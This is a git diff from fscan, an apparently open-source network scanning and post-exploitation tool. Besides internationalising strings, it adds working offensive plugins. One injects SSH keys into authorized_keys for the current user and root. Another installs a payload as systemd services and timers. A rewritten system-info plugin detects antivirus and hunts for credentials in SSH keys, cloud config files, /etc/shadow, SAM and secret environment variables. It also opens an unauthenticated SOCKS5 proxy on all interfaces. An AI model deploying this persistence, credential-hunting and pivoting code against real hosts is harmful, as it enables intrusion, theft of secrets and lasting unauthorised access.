output.String(), @@ -64,8 +64,8 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses } } - output.WriteString("✓ SOCKS5代理已完成\n") - common.LogSuccess(i18n.Tr("socks5_complete", port)) + output.WriteString(i18n.GetText("socks5_done") + "\n") + session.LogSuccess(i18n.Tr("socks5_complete", port)) return &plugins.Result{ Success: true, @@ -76,16 +76,16 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses } // startSocks5Server 启动SOCKS5代理服务器 - 核心实现 -func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State) error { +func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State, session *common.ScanSession) error { // 监听指定端口 - listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port)) + listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) if err != nil { - return fmt.Errorf("监听端口失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err) } defer func() { _ = listener.Close() }() p.listener = listener - common.LogSuccess(i18n.Tr("socks5_started", port)) + session.LogSuccess(i18n.Tr("socks5_started", port)) // 设置SOCKS5代理为活跃状态,告诉主程序保持运行 state.SetSocks5ProxyActive(true) @@ -98,7 +98,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta for { select { case <-ctx.Done(): - common.LogInfo(i18n.GetText("socks5_cancelled")) + session.LogInfo(i18n.GetText("socks5_cancelled")) return ctx.Err() default: } @@ -115,17 +115,17 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta if errors.As(err, &netErr) && netErr.Timeout() { continue // 超时继续循环 } - common.LogError(i18n.Tr("socks5_accept_failed", err)) + session.LogError(i18n.Tr("socks5_accept_failed", err)) continue } // 并发处理客户端连接 - go p.handleClient(ctx, conn) + go p.handleClient(ctx, conn, session) } } // handleClient 处理客户端连接 -func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn) { +func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) { defer func() { _ = clientConn.Close() }() // ctx 取消时关闭连接,解除阻塞的 IO @@ -137,22 +137,22 @@ func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Con // SOCKS5握手阶段 if err := p.handleSocks5Handshake(clientConn); err != nil { if ctx.Err() == nil { - common.LogError(i18n.Tr("socks5_handshake_failed", err)) + session.LogError(i18n.Tr("socks5_handshake_failed", err)) } return } // SOCKS5请求阶段 - targetConn, _, err := p.handleSocks5Request(clientConn) + targetConn, _, err := p.handleSocks5Request(clientConn, session) if err != nil { if ctx.Err() == nil { - common.LogError(i18n.Tr("socks5_request_failed", err)) + session.LogError(i18n.Tr("socks5_request_failed", err)) } return } defer func() { _ = targetConn.Close() }() - common.LogSuccess(i18n.GetText("socks5_connected")) + session.LogSuccess(i18n.GetText("socks5_connected")) // 双向数据转发 p.relayData(clientConn, targetConn) @@ -164,34 +164,34 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { buffer := make([]byte, 256) n, err := conn.Read(buffer) if err != nil { - return fmt.Errorf("读取握手请求失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err) } if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5 - return fmt.Errorf("不支持的SOCKS版本") + return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version")) } // 发送握手响应(无认证) response := []byte{0x05, 0x00} // 版本5,无认证 _, err = conn.Write(response) if err != nil { - return fmt.Errorf("发送握手响应失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err) } return nil } // handleSocks5Request 处理SOCKS5连接请求 -func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, int, error) { +func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *common.ScanSession) (net.Conn, int, error) { // 读取连接请求 buffer := make([]byte, 256) n, err := clientConn.Read(buffer) if err != nil { - return nil, 0, fmt.Errorf("读取连接请求失败: %w", err) + return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err) } if n < 7 || buffer[0] != 0x05 { - return nil, 0, fmt.Errorf("无效的SOCKS5请求") + return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request")) } cmd := buffer[1] @@ -199,7 +199,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, // 发送不支持的命令响应 response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf("不支持的命令: %d", cmd) + return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_command")+": %d", cmd) } // 解析目标地址 @@ -210,23 +210,23 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, switch addrType { case 0x01: // IPv4 if n < 10 { - return nil, 0, fmt.Errorf("IPv4地址格式错误") + return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid")) } targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7]) targetPort = int(buffer[8])<<8 + int(buffer[9]) case 0x03: // 域名 if n < 5 { - return nil, 0, fmt.Errorf("域名格式错误") + return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid")) } domainLen := int(buffer[4]) if n < 5+domainLen+2 { - return nil, 0, fmt.Errorf("域名长度错误") + return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid")) } targetHost = string(buffer[5 : 5+domainLen]) targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1]) case 0x04: // IPv6 if n < 22 { - return nil, 0, fmt.Errorf("IPv6地址格式错误") + return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid")) } // IPv6地址解析(简化实现) targetHost = net.IP(buffer[4:20]).String() @@ -235,7 +235,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, // 发送不支持的地址类型响应 response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf("不支持的地址类型: %d", addrType) + return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType) } // 连接目标服务器 @@ -245,13 +245,13 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, // 发送连接失败响应 response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} _, _ = clientConn.Write(response) - return nil, 0, fmt.Errorf("连接目标服务器失败: %w", err) + return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_target_connect_failed"), err) } // 获取本地监听端口(从targetConn获取) localAddr, ok := targetConn.LocalAddr().(*net.TCPAddr) if !ok { - return nil, 0, fmt.Errorf("无法获取本地地址") + return nil, 0, fmt.Errorf("%s", i18n.GetText("local_address_unavailable")) } localPort := localAddr.Port @@ -269,10 +269,10 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, _, err = clientConn.Write(response) if err != nil { _ = targetConn.Close() - return nil, 0, fmt.Errorf("发送成功响应失败: %w", err) + return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_success_response_failed"), err) } - common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr)) + session.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr)) return targetConn, localPort, nil } diff --git a/plugins/local/sshkey.go b/plugins/local/sshkey.go new file mode 100644 index 0000000..4dd744a --- /dev/null +++ b/plugins/local/sshkey.go @@ -0,0 +1,138 @@ +//go:build (plugin_sshkey || !plugin_selective) && !windows && !no_local + +package local + +import ( + "context" + "crypto/ed25519" + "crypto/rand" + "encoding/pem" + "fmt" + "os" + "os/user" + "path/filepath" + "strings" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" + "github.com/shadow1ng/fscan/plugins" + "golang.org/x/crypto/ssh" +) + +type SSHKeyPlugin struct { + plugins.BasePlugin +} + +func NewSSHKeyPlugin() *SSHKeyPlugin { + return &SSHKeyPlugin{BasePlugin: plugins.NewBasePlugin("sshkey")} +} + +func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { + var output strings.Builder + var successCount int + + targets := p.getTargetUsers() + + for _, u := range targets { + sshDir := filepath.Join(u.HomeDir, ".ssh") + authFile := filepath.Join(sshDir, "authorized_keys") + + if err := os.MkdirAll(sshDir, 0700); err != nil { + output.WriteString(i18n.Tr("sshkey_mkdir_failed", u.Username, err) + "\n") + continue + } + + pubKey, privKey, err := p.generateKeyPair() + if err != nil { + output.WriteString(i18n.Tr("sshkey_generate_failed", u.Username, err) + "\n") + continue + } + + // 追加公钥到 authorized_keys + existing, err := os.ReadFile(authFile) + if err != nil && !os.IsNotExist(err) { + output.WriteString(i18n.Tr("sshkey_authorized_read_failed", u.Username, err) + "\n") + continue + } + if strings.Contains(string(existing), pubKey) { + output.WriteString(i18n.Tr("sshkey_public_exists", u.Username) + "\n") + continue + } + + entry := pubKey + "\n" + f, err := os.OpenFile(authFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) + if err != nil { + output.WriteString(i18n.Tr("sshkey_authorized_write_failed", u.Username, err) + "\n") + continue + } + _, err = f.WriteString(entry) + f.Close() + if err != nil { + continue + } + + // 保存私钥到当前目录 + keyFile := fmt.Sprintf("id_%s_%s", u.Username, "ed25519") + if err := os.WriteFile(keyFile, []byte(privKey), 0600); err != nil { + output.WriteString(i18n.Tr("sshkey_private_save_failed", u.Username, err) + "\n") + continue + } + + output.WriteString(i18n.Tr("sshkey_injected", u.Username, authFile, keyFile) + "\n") + successCount++ + } + + if successCount > 0 { + session.LogSuccess(i18n.Tr("sshkey_success", successCount)) + } + + return &plugins.Result{ + Success: successCount > 0, + Type: plugins.ResultTypeService, + Output: output.String(), + } +} + +func (p *SSHKeyPlugin) getTargetUsers() []*user.User { + var targets []*user.User + + if u, err := user.Current(); err == nil { + targets = append(targets, u) + } + + // root 权限下额外注入 root 用户 + if os.Getuid() == 0 { + if root, err := user.Lookup("root"); err == nil { + targets = append(targets, root) + } + } + + return targets +} + +func (p *SSHKeyPlugin) generateKeyPair() (pubKeyStr, privKeyStr string, err error) { + pub, priv, err := ed25519.GenerateKey(rand.Reader) + if err != nil { + return "", "", err + } + + sshPub, err := ssh.NewPublicKey(pub) + if err != nil { + return "", "", err + } + pubKeyStr = strings.TrimSpace(string(ssh.MarshalAuthorizedKey(sshPub))) + + privBytes, err := ssh.MarshalPrivateKey(priv, "") + if err != nil { + return "", "", err + } + privKeyStr = string(pem.EncodeToMemory(privBytes)) + + return pubKeyStr, privKeyStr, nil +} + +func init() { + RegisterLocalPlugin("sshkey", func() Plugin { + return NewSSHKeyPlugin() + }) +} diff --git a/plugins/local/systemdservice.go b/plugins/local/systemdservice.go index 2a6081b..269ea1a 100644 --- a/plugins/local/systemdservice.go +++ b/plugins/local/systemdservice.go @@ -38,28 +38,28 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, var output strings.Builder if runtime.GOOS != "linux" { - output.WriteString("系统服务持久化只支持Linux平台\n") + output.WriteString(i18n.GetText("systemdservice_linux_only") + "\n") return &plugins.Result{ Success: false, Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), + Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)), } } // 从config获取配置 targetFile := config.PersistenceTargetFile if targetFile == "" { - output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n") + output.WriteString(i18n.GetText("persistence_file_required") + "\n") return &plugins.Result{ Success: false, Output: output.String(), - Error: fmt.Errorf("未指定目标文件"), + Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")), } } // 检查目标文件是否存在 if _, err := os.Stat(targetFile); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile)) + output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -69,7 +69,7 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, // 检查systemctl是否可用 if _, err := exec.LookPath("systemctl"); err != nil { - output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err)) + output.WriteString(i18n.Tr("systemctl_unavailable", err) + "\n") return &plugins.Result{ Success: false, Output: output.String(), @@ -77,62 +77,62 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, } } - output.WriteString("=== 系统服务持久化 ===\n") - output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) + output.WriteString(i18n.GetText("systemdservice_header") + "\n") + output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n") + output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") var successCount int // 1. 复制文件到服务目录 servicePath, err := p.copyToServicePath(targetFile) if err != nil { - output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err)) + output.WriteString(i18n.Tr("copy_file_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath)) + output.WriteString(i18n.Tr("file_copied_to", servicePath) + "\n") successCount++ } // 2. 创建systemd服务文件 serviceFiles, err := p.createSystemdServices(servicePath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err)) + output.WriteString(i18n.Tr("systemdservice_create_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", "))) + output.WriteString(i18n.Tr("systemdservice_created", strings.Join(serviceFiles, ", ")) + "\n") successCount++ } // 3. 启用并启动服务 err = p.enableAndStartServices(serviceFiles) if err != nil { - output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err)) + output.WriteString(i18n.Tr("systemdservice_start_failed", err) + "\n") } else { - output.WriteString("✓ 服务已启用并启动\n") + output.WriteString(i18n.GetText("systemdservice_started") + "\n") successCount++ } // 4. 创建用户级服务 userServiceFiles, err := p.createUserServices(servicePath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err)) + output.WriteString(i18n.Tr("systemdservice_user_create_failed", err) + "\n") } else { - output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", "))) + output.WriteString(i18n.Tr("systemdservice_user_created", strings.Join(userServiceFiles, ", ")) + "\n") successCount++ } // 5. 创建定时器服务 err = p.createTimerServices(servicePath) if err != nil { - output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err)) + output.WriteString(i18n.Tr("systemdservice_timer_create_failed", err) + "\n") } else { - output.WriteString("✓ 已创建systemd定时器\n") + output.WriteString(i18n.GetText("systemdservice_timer_created") + "\n") successCount++ } // 输出统计 - output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5)) + output.WriteString("\n" + i18n.Tr("systemdservice_complete_summary", successCount, 5) + "\n") if successCount > 0 { - common.LogSuccess(i18n.Tr("systemdservice_success", successCount)) + session.LogSuccess(i18n.Tr("systemdservice_success", successCount)) } return &plugins.Result{ @@ -160,7 +160,7 @@ func (p *SystemdServicePlugin) copyToServicePath(targetFile string) (string, err } if targetDir == "" { - return "", fmt.Errorf("无法创建服务目录") + return "", fmt.Errorf("%s", i18n.GetText("service_dir_create_failed")) } // 生成服务可执行文件名 @@ -273,7 +273,7 @@ StandardError=null } if len(created) == 0 { - return nil, fmt.Errorf("无法创建任何systemd服务文件") + return nil, fmt.Errorf("%s", i18n.GetText("systemdservice_create_none")) } return created, nil @@ -299,7 +299,7 @@ func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) err } if len(errors) > 0 { - return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; ")) + return fmt.Errorf(i18n.GetText("service_operation_error")+": %s", strings.Join(errors, "; ")) } return nil diff --git a/plugins/local/systeminfo.go b/plugins/local/systeminfo.go index 3eab92b..d3c8ccd 100644 --- a/plugins/local/systeminfo.go +++ b/plugins/local/systeminfo.go @@ -4,10 +4,14 @@ package local import ( "context" + _ "embed" + "encoding/json" "fmt" + "net" "os" "os/exec" "os/user" + "path/filepath" "runtime" "strings" @@ -16,184 +20,400 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// SystemInfoPlugin 系统信息收集插件 -// 设计哲学:纯信息收集,无攻击性功能 -// - 删除复杂的继承体系 -// - 收集基本系统信息 -// - 跨平台支持,运行时适配 +//go:embed auto.json +var avDatabase []byte + +type avProduct struct { + Processes []string `json:"processes"` + URL string `json:"url"` +} + type SystemInfoPlugin struct { plugins.BasePlugin + output strings.Builder + session *common.ScanSession } -// NewSystemInfoPlugin 创建系统信息插件 func NewSystemInfoPlugin() *SystemInfoPlugin { return &SystemInfoPlugin{ BasePlugin: plugins.NewBasePlugin("systeminfo"), } } -// Scan 执行系统信息收集 - 直接、简单、有效 +func (p *SystemInfoPlugin) log(key string, args ...interface{}) { + msg := i18n.Tr(key, args...) + p.session.LogInfo(msg) + p.output.WriteString(msg + "\n") +} + +func (p *SystemInfoPlugin) logSuccess(key string, args ...interface{}) { + msg := i18n.Tr(key, args...) + p.session.LogSuccess(msg) + p.output.WriteString(msg + "\n") +} + func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - var output strings.Builder + p.session = session + session.LogSuccess(i18n.GetText("systeminfo_start")) - output.WriteString("=== 系统信息收集 ===\n") - common.LogSuccess(i18n.GetText("systeminfo_start")) - - // 基本系统信息 - output.WriteString(fmt.Sprintf("操作系统: %s\n", runtime.GOOS)) - output.WriteString(fmt.Sprintf("架构: %s\n", runtime.GOARCH)) - output.WriteString(fmt.Sprintf("CPU核心数: %d\n", runtime.NumCPU())) - - common.LogInfo(i18n.Tr("systeminfo_os", runtime.GOOS)) - common.LogInfo(i18n.Tr("systeminfo_arch", runtime.GOARCH)) - common.LogInfo(i18n.Tr("systeminfo_cpu", runtime.NumCPU())) - - // 主机名 - if hostname, err := os.Hostname(); err == nil { - output.WriteString(fmt.Sprintf("主机名: %s\n", hostname)) - common.LogInfo(i18n.Tr("systeminfo_hostname", hostname)) - } - - // 当前用户 - if currentUser, err := user.Current(); err == nil { - output.WriteString(fmt.Sprintf("当前用户: %s\n", currentUser.Username)) - common.LogInfo(i18n.Tr("systeminfo_user", currentUser.Username)) - if currentUser.HomeDir != "" { - output.WriteString(fmt.Sprintf("用户目录: %s\n", currentUser.HomeDir)) - common.LogInfo(i18n.Tr("systeminfo_homedir", currentUser.HomeDir)) - } - } - - // 工作目录 - if workDir, err := os.Getwd(); err == nil { - output.WriteString(fmt.Sprintf("工作目录: %s\n", workDir)) - common.LogInfo(i18n.Tr("systeminfo_workdir", workDir)) - } - - // 临时目录 - output.WriteString(fmt.Sprintf("临时目录: %s\n", os.TempDir())) - common.LogInfo(i18n.Tr("systeminfo_tempdir", os.TempDir())) - - // 环境变量关键信息 - if path := os.Getenv("PATH"); path != "" { - pathCount := len(strings.Split(path, string(os.PathListSeparator))) - output.WriteString(fmt.Sprintf("PATH变量条目: %d个\n", pathCount)) - common.LogInfo(i18n.Tr("systeminfo_pathcount", pathCount)) - } - - // 平台特定信息 - platformInfo := p.getPlatformSpecificInfo() - if platformInfo != "" { - output.WriteString("\n=== 平台特定信息 ===\n") - output.WriteString(platformInfo) - // 输出平台特定信息到控制台 - p.logPlatformInfo() - } + p.collectBasicInfo() + p.collectNetworkInfo() + p.collectPrivilegeInfo() + p.collectPlatformInfo() + p.collectAVInfo() + p.collectSensitiveFiles() + p.collectSensitiveEnvVars() + p.collectDomainInfo() return &plugins.Result{ Success: true, Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, + Output: p.output.String(), } } -// getPlatformSpecificInfo 获取平台特定信息 - 运行时适配,不做预检查 -func (p *SystemInfoPlugin) getPlatformSpecificInfo() string { - var info strings.Builder +func (p *SystemInfoPlugin) collectBasicInfo() { + p.log("systeminfo_os", runtime.GOOS) + p.log("systeminfo_arch", runtime.GOARCH) + p.log("systeminfo_cpu", runtime.NumCPU()) + + if hostname, err := os.Hostname(); err == nil { + p.log("systeminfo_hostname", hostname) + } + if u, err := user.Current(); err == nil { + p.log("systeminfo_user", u.Username) + if u.HomeDir != "" { + p.log("systeminfo_homedir", u.HomeDir) + } + } + if wd, err := os.Getwd(); err == nil { + p.log("systeminfo_workdir", wd) + } + p.log("systeminfo_tempdir", os.TempDir()) +} + +func (p *SystemInfoPlugin) collectNetworkInfo() { + ifaces, err := net.Interfaces() + if err != nil { + return + } + for _, iface := range ifaces { + if iface.Flags&net.FlagLoopback != 0 || iface.Flags&net.FlagUp == 0 { + continue + } + addrs, err := iface.Addrs() + if err != nil || len(addrs) == 0 { + continue + } + var ips []string + for _, addr := range addrs { + ips = append(ips, addr.String()) + } + p.log("systeminfo_iface", iface.Name, strings.Join(ips, ", "), iface.HardwareAddr.String()) + } +} + +func (p *SystemInfoPlugin) collectPrivilegeInfo() { + switch runtime.GOOS { + case "windows": + if out, err := p.runCommand("net", "session"); err == nil { + _ = out + p.logSuccess("systeminfo_privilege", "Administrator") + } else { + p.log("systeminfo_privilege", "Normal User") + } + if out, err := p.runCommand("whoami", "/groups"); err == nil { + if strings.Contains(out, "S-1-5-32-544") { + p.logSuccess("systeminfo_privilege_group", "Administrators") + } + } + case "linux", "darwin": + if uid := os.Getuid(); uid == 0 { + p.logSuccess("systeminfo_privilege", "root") + } else { + p.log("systeminfo_privilege", fmt.Sprintf("uid=%d", uid)) + } + if out, err := p.runCommand("id"); err == nil { + p.log("systeminfo_id_info", strings.TrimSpace(out)) + } + } +} + +func (p *SystemInfoPlugin) collectPlatformInfo() { + switch runtime.GOOS { + case "windows": + p.collectWindowsInfo() + case "linux": + p.collectLinuxInfo() + case "darwin": + p.collectDarwinInfo() + } +} + +func (p *SystemInfoPlugin) collectWindowsInfo() { + if out, err := p.runCommand("cmd", "/c", "ver"); err == nil { + p.log("systeminfo_winver", strings.TrimSpace(out)) + } + if out, err := p.runCommand("cmd", "/c", "echo %USERDOMAIN%"); err == nil { + domain := strings.TrimSpace(out) + if domain != "" && domain != "%USERDOMAIN%" { + p.log("systeminfo_domain", domain) + } + } + + if out, err := p.runCommand("netsh", "advfirewall", "show", "allprofiles", "state"); err == nil { + for _, line := range strings.Split(out, "\n") { + line = strings.TrimSpace(line) + if strings.Contains(line, "ON") || strings.Contains(line, "OFF") { + p.log("systeminfo_firewall", line) + } + } + } + + if out, err := p.runCommand("wmic", "qfe", "get", "HotFixID,InstalledOn"); err == nil { + lines := strings.Split(strings.TrimSpace(out), "\n") + patches := 0 + for _, line := range lines { + if strings.HasPrefix(strings.TrimSpace(line), "KB") { + patches++ + } + } + if patches > 0 { + p.log("systeminfo_patches", patches) + } + } +} + +func (p *SystemInfoPlugin) collectLinuxInfo() { + if out, err := p.runCommand("uname", "-a"); err == nil { + p.log("systeminfo_kernel", strings.TrimSpace(out)) + } + if data, err := os.ReadFile("/etc/os-release"); err == nil { + for _, line := range strings.Split(string(data), "\n") { + if strings.HasPrefix(line, "PRETTY_NAME=") { + name := strings.Trim(strings.TrimPrefix(line, "PRETTY_NAME="), "\"") + p.log("systeminfo_distro", name) + break + } + } + } + + if out, err := p.runCommand("iptables", "-L", "-n", "--line-numbers"); err == nil { + ruleCount := 0 + for _, line := range strings.Split(out, "\n") { + if len(line) > 0 && line[0] >= '0' && line[0] <= '9' { + ruleCount++ + } + } + p.log("systeminfo_firewall_rules", ruleCount) + } + + if out, err := p.runCommand("sudo", "-l", "-n"); err == nil { + if strings.Contains(out, "ALL") { + p.logSuccess("systeminfo_sudo", "ALL commands") + } else if strings.Contains(out, "NOPASSWD") { + p.logSuccess("systeminfo_sudo", "NOPASSWD entries found") + } + } +} + +func (p *SystemInfoPlugin) collectDarwinInfo() { + if out, err := p.runCommand("uname", "-a"); err == nil { + p.log("systeminfo_kernel", strings.TrimSpace(out)) + } + if out, err := p.runCommand("sw_vers"); err == nil { + for _, line := range strings.Split(out, "\n") { + line = strings.TrimSpace(line) + if line != "" { + p.log("systeminfo_macos_detail", line) + } + } + } +} + +func (p *SystemInfoPlugin) collectAVInfo() { + var avProducts map[string]avProduct + if err := json.Unmarshal(avDatabase, &avProducts); err != nil { + return + } + + processes := p.getRunningProcesses() + if len(processes) == 0 { + return + } + + processIndex := make(map[string][]string) + for _, proc := range processes { + name := proc + if idx := strings.Index(proc, " (PID: "); idx != -1 { + name = proc[:idx] + } + processIndex[strings.ToLower(name)] = append(processIndex[strings.ToLower(name)], proc) + } + + for avName, av := range avProducts { + var matched []string + for _, avProc := range av.Processes { + if procs, ok := processIndex[strings.ToLower(avProc)]; ok { + matched = append(matched, procs...) + } + } + if len(matched) > 0 { + p.logSuccess("systeminfo_antivirus", i18n.Tr("systeminfo_antivirus_process_count", avName, len(matched))) + for _, proc := range matched { + p.log("systeminfo_av_process", proc) + } + } + } +} + +func (p *SystemInfoPlugin) getRunningProcesses() []string { + switch runtime.GOOS { + case "windows": + return p.getWindowsProcesses() + case "linux", "darwin": + return p.getUnixProcesses() + } + return nil +} + +func (p *SystemInfoPlugin) getWindowsProcesses() []string { + out, err := p.runCommand("tasklist", "/fo", "csv", "/nh") + if err != nil { + return nil + } + var processes []string + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if !strings.HasPrefix(line, "\"") { + continue + } + parts := strings.Split(line, "\",\"") + if len(parts) >= 2 { + name := strings.Trim(parts[0], "\"") + pid := strings.Trim(parts[1], "\"") + if name != "" && pid != "" { + processes = append(processes, fmt.Sprintf("%s (PID: %s)", name, pid)) + } + } + } + return processes +} + +func (p *SystemInfoPlugin) getUnixProcesses() []string { + out, err := p.runCommand("ps", "-eo", "comm") + if err != nil { + return nil + } + var processes []string + for _, line := range strings.Split(string(out), "\n") { + line = strings.TrimSpace(line) + if line != "" && line != "COMMAND" { + processes = append(processes, line) + } + } + return processes +} + +func (p *SystemInfoPlugin) collectSensitiveFiles() { + var sensitiveFiles []string switch runtime.GOOS { case "windows": - // Windows版本信息 - if output, err := p.runCommand("cmd", "/c", "ver"); err == nil { - info.WriteString(i18n.Tr("systeminfo_winver", strings.TrimSpace(output)) + "\n") + sensitiveFiles = []string{ + `C:\Windows\System32\config\SAM`, + `C:\Windows\repair\sam`, } - - // 域信息 - if output, err := p.runCommand("cmd", "/c", "echo %USERDOMAIN%"); err == nil { - domain := strings.TrimSpace(output) - if domain != "" && domain != "%USERDOMAIN%" { - info.WriteString(i18n.Tr("systeminfo_domain", domain) + "\n") - } - } - case "linux", "darwin": - // Unix系统信息 - if output, err := p.runCommand("uname", "-a"); err == nil { - info.WriteString(i18n.Tr("systeminfo_kernel", strings.TrimSpace(output)) + "\n") - } - - // 发行版信息(Linux) - if runtime.GOOS == "linux" { - if output, err := p.runCommand("lsb_release", "-d"); err == nil { - info.WriteString(i18n.Tr("systeminfo_distro", strings.TrimSpace(output)) + "\n") - } else if p.fileExists("/etc/os-release") { - info.WriteString(i18n.GetText("systeminfo_distro_exists") + "\n") - } - } - - // whoami - if output, err := p.runCommand("whoami"); err == nil { - info.WriteString(i18n.Tr("systeminfo_whoami", strings.TrimSpace(output)) + "\n") + sensitiveFiles = []string{ + "/etc/shadow", + "/root/.ssh/id_rsa", + "/root/.ssh/authorized_keys", + "/root/.bash_history", } } - return info.String() + homeDir, _ := os.UserHomeDir() + if homeDir != "" { + sensitiveFiles = append(sensitiveFiles, + filepath.Join(homeDir, ".ssh", "id_rsa"), + filepath.Join(homeDir, ".ssh", "id_ed25519"), + filepath.Join(homeDir, ".aws", "credentials"), + filepath.Join(homeDir, ".azure", "accessTokens.json"), + filepath.Join(homeDir, ".kube", "config"), + ) + } + + for _, f := range sensitiveFiles { + if _, err := os.Stat(f); err == nil { + p.logSuccess("systeminfo_sensitive_file", f) + } + } + + if homeDir != "" { + p.searchSensitiveInDirs(homeDir) + } +} + +func (p *SystemInfoPlugin) searchSensitiveInDirs(homeDir string) { + searchDirs := []string{ + filepath.Join(homeDir, "Desktop"), + filepath.Join(homeDir, "Documents"), + filepath.Join(homeDir, ".ssh"), + filepath.Join(homeDir, ".aws"), + } + keywords := []string{"password", "key", "secret", "token", "credential", "passwd"} + + for _, dir := range searchDirs { + info, err := os.Stat(dir) + if err != nil || !info.IsDir() { + continue + } + _ = filepath.Walk(dir, func(path string, fi os.FileInfo, err error) error { + if err != nil || fi.IsDir() || fi.Size() > 1024*1024 { + return nil + } + name := strings.ToLower(filepath.Base(path)) + for _, kw := range keywords { + if strings.Contains(name, kw) { + p.logSuccess("systeminfo_sensitive_file", path) + break + } + } + return nil + }) + } +} + +func (p *SystemInfoPlugin) collectSensitiveEnvVars() { + keywords := []string{ + "password", "passwd", "secret", "key", "token", + "auth", "credential", "api_key", "access_key", + } + for _, env := range os.Environ() { + parts := strings.SplitN(env, "=", 2) + if len(parts) != 2 || parts[1] == "" { + continue + } + name := strings.ToLower(parts[0]) + for _, kw := range keywords { + if strings.Contains(name, kw) { + display := parts[1] + if len(display) > 8 { + display = display[:8] + "***" + } + p.logSuccess("systeminfo_sensitive_env", parts[0], display) + break + } + } + } } 